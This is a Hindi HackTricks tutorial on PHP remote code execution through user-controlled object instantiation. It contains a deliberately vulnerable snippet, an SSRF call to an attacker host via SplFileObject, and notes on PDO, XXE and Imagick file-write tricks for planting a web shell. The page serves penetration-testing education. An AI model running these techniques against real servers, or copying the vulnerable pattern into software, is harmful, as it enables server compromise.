PHP - RCE ऑब्जेक्ट निर्माण का दुरुपयोग: नया $_GET["a"]($_GET["b"])
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह मूल रूप से एक सारांश है https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
परिचय
नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे कि new $_GET["a"]($_GET["a"])
, रिमोट कोड निष्पादन (RCE) की ओर ले जा सकता है, जैसा कि एक लेख में विस्तृत किया गया है। यह दस्तावेज़ RCE प्राप्त करने के लिए विभिन्न रणनीतियों को उजागर करता है।
कस्टम क्लासेस या ऑटोलोडिंग के माध्यम से RCE
सिंटैक्स new $a($b)
का उपयोग एक ऑब्जेक्ट को इंस्टेंटिएट करने के लिए किया जाता है जहाँ $a
क्लास नाम का प्रतिनिधित्व करता है और $b
कंस्ट्रक्टर को पास किया गया पहला तर्क है। ये वेरिएबल्स उपयोगकर्ता इनपुट जैसे GET/POST से प्राप्त किए जा सकते हैं, जहाँ वे स्ट्रिंग्स या एरे हो सकते हैं, या JSON से, जहाँ वे अन्य प्रकारों के रूप में प्रस्तुत हो सकते हैं।
नीचे दिए गए कोड स्निपेट पर विचार करें:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
इस मामले में, $a
को App
या App2
पर सेट करना और $b
को एक सिस्टम कमांड (जैसे, uname -a
) पर सेट करना उस कमांड के निष्पादन का परिणाम देता है।
ऑटोलोडिंग फ़ंक्शन का शोषण किया जा सकता है यदि ऐसी कोई कक्षाएँ सीधे सुलभ नहीं हैं। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से कक्षाओं को स्वचालित रूप से लोड करते हैं और इन्हें spl_autoload_register
या __autoload
का उपयोग करके परिभाषित किया जाता है:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
autoloading का व्यवहार PHP संस्करणों के साथ भिन्न होता है, जो विभिन्न RCE संभावनाएँ प्रदान करता है।
Built-In Classes के माध्यम से RCE
कस्टम क्लास या ऑटोलोडर्स की कमी में, built-in PHP classes RCE के लिए पर्याप्त हो सकती हैं। इन क्लासों की संख्या PHP संस्करण और एक्सटेंशन के आधार पर 100 से 200 के बीच होती है। इन्हें get_declared_classes()
का उपयोग करके सूचीबद्ध किया जा सकता है।
रिफ्लेक्शन API के माध्यम से रुचि के कंस्ट्रक्टर्स की पहचान की जा सकती है, जैसा कि निम्नलिखित उदाहरण और लिंक https://3v4l.org/2JEGF में दिखाया गया है।
विशिष्ट विधियों के माध्यम से RCE में शामिल हैं:
SSRF + Phar Deserialization
SplFileObject
क्लास अपने कंस्ट्रक्टर के माध्यम से SSRF को सक्षम बनाती है, जो किसी भी URL से कनेक्शन की अनुमति देती है:
new SplFileObject('http://attacker.com/');
SSRF पुराने PHP संस्करणों में 8.0 से पहले deserialization हमलों का कारण बन सकता है, जो Phar प्रोटोकॉल का उपयोग करता है।
PDOs का शोषण करना
PDO क्लास कंस्ट्रक्टर DSN स्ट्रिंग्स के माध्यम से डेटाबेस से कनेक्शन की अनुमति देता है, जो फ़ाइल निर्माण या अन्य इंटरैक्शन को सक्षम कर सकता है:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
PHP के 5.3.22 और 5.4.12 तक के संस्करण SoapClient
और SimpleXMLElement
कंस्ट्रक्टर्स के माध्यम से XXE हमलों के प्रति संवेदनशील थे, जो libxml2 के संस्करण पर निर्भर करते हैं।
RCE via Imagick Extension
एक प्रोजेक्ट की निर्भरताओं के विश्लेषण में, यह पाया गया कि Imagick का उपयोग कमांड निष्पादन के लिए नए ऑब्जेक्ट्स को इंस्टेंटिएट करके किया जा सकता है। यह कमजोरियों का लाभ उठाने का एक अवसर प्रस्तुत करता है।
VID parser
फाइल सिस्टम में किसी भी निर्दिष्ट पथ पर सामग्री लिखने की VID parser क्षमता की पहचान की गई। इससे एक वेब-एक्सेसिबल डायरेक्टरी में PHP शेल रखने की संभावना बनती है, जिससे रिमोट कोड निष्पादन (RCE) प्राप्त होता है।
VID Parser + File Upload
यह noted किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलों को /tmp/phpXXXXXX
में संग्रहीत करता है। Imagick में VID parser, msl प्रोटोकॉल का उपयोग करते हुए, फ़ाइल पथ में वाइल्डकार्ड को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए स्थान पर स्थानांतरित करना संभव होता है। यह विधि फाइल सिस्टम के भीतर मनमाने फ़ाइल लेखन को प्राप्त करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है।
PHP Crash + Brute Force
मूल लेख में वर्णित एक विधि में ऐसी फ़ाइलें अपलोड करना शामिल है जो हटाने से पहले सर्वर क्रैश को ट्रिगर करती हैं। अस्थायी फ़ाइल के नाम को ब्रूट-फोर्स करके, Imagick के लिए मनमाना PHP कोड निष्पादित करना संभव हो जाता है। हालाँकि, यह तकनीक केवल ImageMagick के एक पुराने संस्करण में प्रभावी पाई गई।
References
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।